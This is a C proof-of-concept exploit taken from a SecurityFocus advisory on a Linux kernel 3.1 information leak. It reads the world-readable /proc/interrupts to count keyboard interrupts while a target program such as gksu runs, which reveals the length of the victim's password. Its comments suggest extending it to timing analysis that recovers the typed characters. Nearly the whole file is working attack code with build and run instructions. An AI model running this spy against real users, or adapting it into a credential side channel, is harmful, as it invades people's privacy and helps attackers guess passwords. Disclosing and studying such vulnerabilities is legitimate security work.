216 lines
No EOL
5.4 KiB
C
216 lines
No EOL
5.4 KiB
C
/*
|
|
source: https://www.securityfocus.com/bid/50573/info
|
|
|
|
The Linux kernel is prone to a local information-disclosure weakness.
|
|
|
|
Successful exploits allow local attackers to obtain the password length of a victim's account; information harvested may aid in further attacks.
|
|
|
|
Linux kernel 3.1 and prior are vulnerable.
|
|
*/
|
|
|
|
|
|
/*
|
|
* A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1.
|
|
*
|
|
* The file /proc/interrupts is world readable. It contains information
|
|
* about how many interrupts were emitted since the system boot. We may loop
|
|
* on one CPU core while the victim is executed on another, and learn the length
|
|
* of victim's passord via monitoring emitted interrupts' counters of the keyboard
|
|
* interrupt. The PoC counts only keystrokes number, but it can be easily extended
|
|
* to note the delays between the keystrokes and do the statistical analysis to
|
|
* learn the precise input characters.
|
|
*
|
|
* The limitations:
|
|
* - it works on 2-core CPUs only.
|
|
* - it works on 1-keyboard systems only.
|
|
* - it doesn't carefully count the first and last keystrokes (e.g. ENTER after
|
|
* the password input).
|
|
* - it doesn't carefully filter keystrokes after ENTER.
|
|
*
|
|
* by segoon from Openwall
|
|
*
|
|
* run as: gcc -Wall spy-interrupts.c -o spy-interrupts && ./spy-interrupts gksu
|
|
*
|
|
* P.S. The harm of 0444 /proc/interrupts is known for a long time, but I
|
|
* was told about this specific attack vector by Tavis Ormandy just after similar
|
|
* PoC spy-sched was published.
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <signal.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
#include <err.h>
|
|
#include <errno.h>
|
|
#include <string.h>
|
|
|
|
|
|
int i8042_number;
|
|
int ints[1024], ints_prev[1024], ints_delta[1024];
|
|
|
|
char buffer[1024];
|
|
|
|
int reread_ints(int *interrupts, int int_count, char **names)
|
|
{
|
|
int i;
|
|
int n, c1, c2;
|
|
char s1[1024], s2[1024];
|
|
|
|
int interrupts_fd;
|
|
FILE *interrupts_file;
|
|
|
|
interrupts_fd = open("/proc/interrupts", O_RDONLY);
|
|
if (interrupts_fd == -1)
|
|
err(1, "open(\"/proc/interrupts\")");
|
|
|
|
interrupts_file = fdopen(interrupts_fd, "r");
|
|
if (interrupts_file == NULL)
|
|
err(1, "fdopen");
|
|
|
|
if (fseek(interrupts_file, 0, SEEK_SET) < 0)
|
|
err(1, "lseek");
|
|
|
|
fgets(buffer, sizeof(buffer), interrupts_file);
|
|
|
|
for (i = 0; i < int_count; i++) {
|
|
if (fgets(buffer, sizeof(buffer), interrupts_file) == NULL) {
|
|
fclose(interrupts_file);
|
|
return i;
|
|
}
|
|
|
|
if (sscanf(buffer, "%d: %d %d %s %s", &n, &c1, &c2, s1, s2) < 3) {
|
|
fclose(interrupts_file);
|
|
return i;
|
|
}
|
|
|
|
if (names != NULL && names[i] == NULL)
|
|
names[i] = strdup(s2);
|
|
|
|
interrupts[i] = c1 + c2;
|
|
}
|
|
|
|
fclose(interrupts_file);
|
|
return int_count;
|
|
}
|
|
|
|
void init_i8042_number(void)
|
|
{
|
|
int i;
|
|
int can_be_keyboard[1024];
|
|
char *names[1024];
|
|
int number_of_interrups, can_be_keyboard_numbers;
|
|
|
|
number_of_interrups = reread_ints(ints_prev, sizeof(ints_prev), names);
|
|
|
|
/*
|
|
* Identify the i8042 interrupt associated with the keyboard by:
|
|
* 1) name should be i8042
|
|
* 2) interrupts count emitted in one second shouldn't be more than 100
|
|
*/
|
|
for (i = 0; i < number_of_interrups; i++)
|
|
can_be_keyboard[i] = strcmp(names[i], "i8042") == 0;
|
|
|
|
while (1) {
|
|
sleep(1);
|
|
reread_ints(ints, sizeof(ints), NULL);
|
|
|
|
can_be_keyboard_numbers = 0;
|
|
for (i = 0; i < number_of_interrups; i++) {
|
|
can_be_keyboard[i] &= (ints[i] - ints_prev[i]) < 100;
|
|
if (can_be_keyboard[i])
|
|
can_be_keyboard_numbers++;
|
|
|
|
ints_prev[i] = ints[i];
|
|
}
|
|
|
|
if (can_be_keyboard_numbers == 1) {
|
|
for (i = 0; i < number_of_interrups; i++)
|
|
if (can_be_keyboard[i]) {
|
|
i8042_number = i;
|
|
printf("i8042 keyboard is #%d\n", i);
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
int i8042_read(void)
|
|
{
|
|
reread_ints(ints, sizeof(ints), NULL);
|
|
ints_prev[i8042_number] = ints[i8042_number];
|
|
|
|
return ints[i8042_number];
|
|
}
|
|
|
|
int wait_for_program(char *pname)
|
|
{
|
|
FILE *f;
|
|
int pid;
|
|
char s[1024];
|
|
|
|
snprintf(s, sizeof(s), "while :; do pgrep %s >/dev/null && break;"
|
|
" sleep 0.1; done", pname);
|
|
system(s);
|
|
snprintf(s, sizeof(s), "pgrep %s", pname);
|
|
f = popen(s, "r");
|
|
if (f == NULL)
|
|
err(1, "popen");
|
|
|
|
if (fgets(buffer, sizeof(buffer), f) == NULL)
|
|
err(1, "fgets");
|
|
|
|
if (sscanf(buffer, "%d", &pid) < 1)
|
|
err(1, "sscanf");
|
|
|
|
pclose(f);
|
|
|
|
return pid;
|
|
}
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
int n, old, sum, i;
|
|
int pid;
|
|
char *pname = argv[1];
|
|
|
|
if (argc < 2)
|
|
errx(1, "usage: spy-interrupts gksu");
|
|
|
|
puts("Waiting for mouse activity...");
|
|
init_i8042_number();
|
|
|
|
pid = wait_for_program(pname);
|
|
printf("%s is %d\n", pname, pid);
|
|
|
|
old = i8042_read();
|
|
|
|
sum = 0;
|
|
|
|
while (1) {
|
|
n = i8042_read();
|
|
if (old == n)
|
|
usleep(10000);
|
|
else {
|
|
for (i = 0; i < n-old; i++)
|
|
putchar('.');
|
|
fflush(stdout);
|
|
}
|
|
|
|
sum += n - old;
|
|
old = n;
|
|
|
|
if (kill(pid, 0) < 0 && errno == ESRCH)
|
|
break;
|
|
}
|
|
|
|
/*
|
|
* #interrupts == 2 * #keystrokes.
|
|
* #keystrokes = len(password) - 1 because of ENTER after the password.
|
|
*/
|
|
printf("\n%d keystrokes\n", (sum-2)/2);
|
|
|
|
return 0;
|
|
} |